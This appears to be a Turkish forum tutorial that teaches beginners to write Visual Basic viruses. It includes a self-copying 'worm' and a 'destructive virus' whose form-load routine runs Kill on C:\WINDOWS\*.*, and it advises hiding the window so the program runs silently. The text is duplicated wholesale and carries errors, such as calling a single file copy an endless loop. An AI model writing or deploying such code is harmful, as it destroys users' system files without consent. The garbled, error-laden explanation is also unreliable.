Şimdi visual Basic programını açtık.Form önümüzde duruyor.Öncelikle şunu düşünecez.Yaratacağımız virüsadam tıkladığında görünsün mü,görünmesin mi?
Eğer virüs sessiz çalışsız diyorsanız,forma bir kere tıklayıp Visible özelliğini False yapın.Şimdi sıra nasıl bir virüs yapacağımıza geldi.Heryere bulaşan bir virüs mü istiyoruz,yoksa sistemi etkileyenmi
Arkadaşlar virüs ne türlü olursa olsun virüs virüstür.Visual Basic de bize lazım olacak kodlar şunlar(virüs için);
Kill:Bu kod belirttiğimiz bir dosyayı silmemize yarıyor.Ama sadece bir dosya değil isterseniz toplu halde de dosya silebilirsiniz.Örnek Kullanım:
Kill "C:\\dosya.exe" C deki dosya .exe yi siler
FileCopy:Bu kod özellikte solucan yazanlar için önemli.Çünkü solucanın kendini kopyalaması için bu kod gerekir.Örnek Kullanım:
FileCopy "C:dosya.exe", "D:\\dosya.exe" C deki dosya.exe yi D ye aynı biçimde kaydeder
Shell:Bu ise istediğimiz bir dosyayı açmamızı sağlar.Örnek Kullanım:
Shell "C:\\virüs.exe" C deki virüs.exe yi açar.
on error resume next:Visual Basic de Programı yazdığımız zaman,program yazdığımız kodları sırasıyla çalıştırır.Eğer kodların birinde bir hata varsa geri kalan kodlar açılmaz işte bu kod bu işe yarıyor.Biz kodda hata yapsak bile sadece onu yok sayıyor sıradaki kodlara geçiyor.Yine virüsümüzde çokca kullanacağımız bir kod.
İşin mantığını öğrendik.Şimdi ben size bu 4 kod ile nasıl ölümcül birşey yazabileceğinizi gösterecem.
Basit Solucan Kodu
Private Sub Form_Load()
On Error Resume Next
FileCopy "C:\\Decument and Settings\\user\\Desktop\\virüs.exe", "D:\\system.exe"
On Error Resume Next
End Sub
bu döngü hep devam eder. exe dosyası kapatılncaya kadar.
Bu kod küçün bir işin mantığını çözmeniz için hazırlanmış bir döküm Masaüstündeki virüsü(yani kendisini) D sürücüsüne kopyalıyor
Şimdi ise yıkıcı bir virüs kodu:
Private Sub Form_Load()
On Error Resume Next
Kill "C:\\WINDOWS\\*.*"
End Sub
Eğer virüs sessiz çalışsız diyorsanız,forma bir kere tıklayıp Visible özelliğini False yapın.Şimdi sıra nasıl bir virüs yapacağımıza geldi.Heryere bulaşan bir virüs mü istiyoruz,yoksa sistemi etkileyenmi
Arkadaşlar virüs ne türlü olursa olsun virüs virüstür.Visual Basic de bize lazım olacak kodlar şunlar(virüs için);
Kill:Bu kod belirttiğimiz bir dosyayı silmemize yarıyor.Ama sadece bir dosya değil isterseniz toplu halde de dosya silebilirsiniz.Örnek Kullanım:
Kill "C:\\dosya.exe" C deki dosya .exe yi siler
FileCopy:Bu kod özellikte solucan yazanlar için önemli.Çünkü solucanın kendini kopyalaması için bu kod gerekir.Örnek Kullanım:
FileCopy "C:dosya.exe", "D:\\dosya.exe" C deki dosya.exe yi D ye aynı biçimde kaydeder
Shell:Bu ise istediğimiz bir dosyayı açmamızı sağlar.Örnek Kullanım:
Shell "C:\\virüs.exe" C deki virüs.exe yi açar.
on error resume next:Visual Basic de Programı yazdığımız zaman,program yazdığımız kodları sırasıyla çalıştırır.Eğer kodların birinde bir hata varsa geri kalan kodlar açılmaz işte bu kod bu işe yarıyor.Biz kodda hata yapsak bile sadece onu yok sayıyor sıradaki kodlara geçiyor.Yine virüsümüzde çokca kullanacağımız bir kod.
İşin mantığını öğrendik.Şimdi ben size bu 4 kod ile nasıl ölümcül birşey yazabileceğinizi gösterecem.
Basit Solucan Kodu
Private Sub Form_Load()
On Error Resume Next
FileCopy "C:\\Decument and Settings\\user\\Desktop\\virüs.exe", "D:\\system.exe"
On Error Resume Next
End Sub
bu döngü hep devam eder. exe dosyası kapatılncaya kadar.
Bu kod küçün bir işin mantığını çözmeniz için hazırlanmış bir döküm Masaüstündeki virüsü(yani kendisini) D sürücüsüne kopyalıyor
Şimdi ise yıkıcı bir virüs kodu:
Private Sub Form_Load()
On Error Resume Next
Kill "C:\\WINDOWS\\*.*"
End Sub
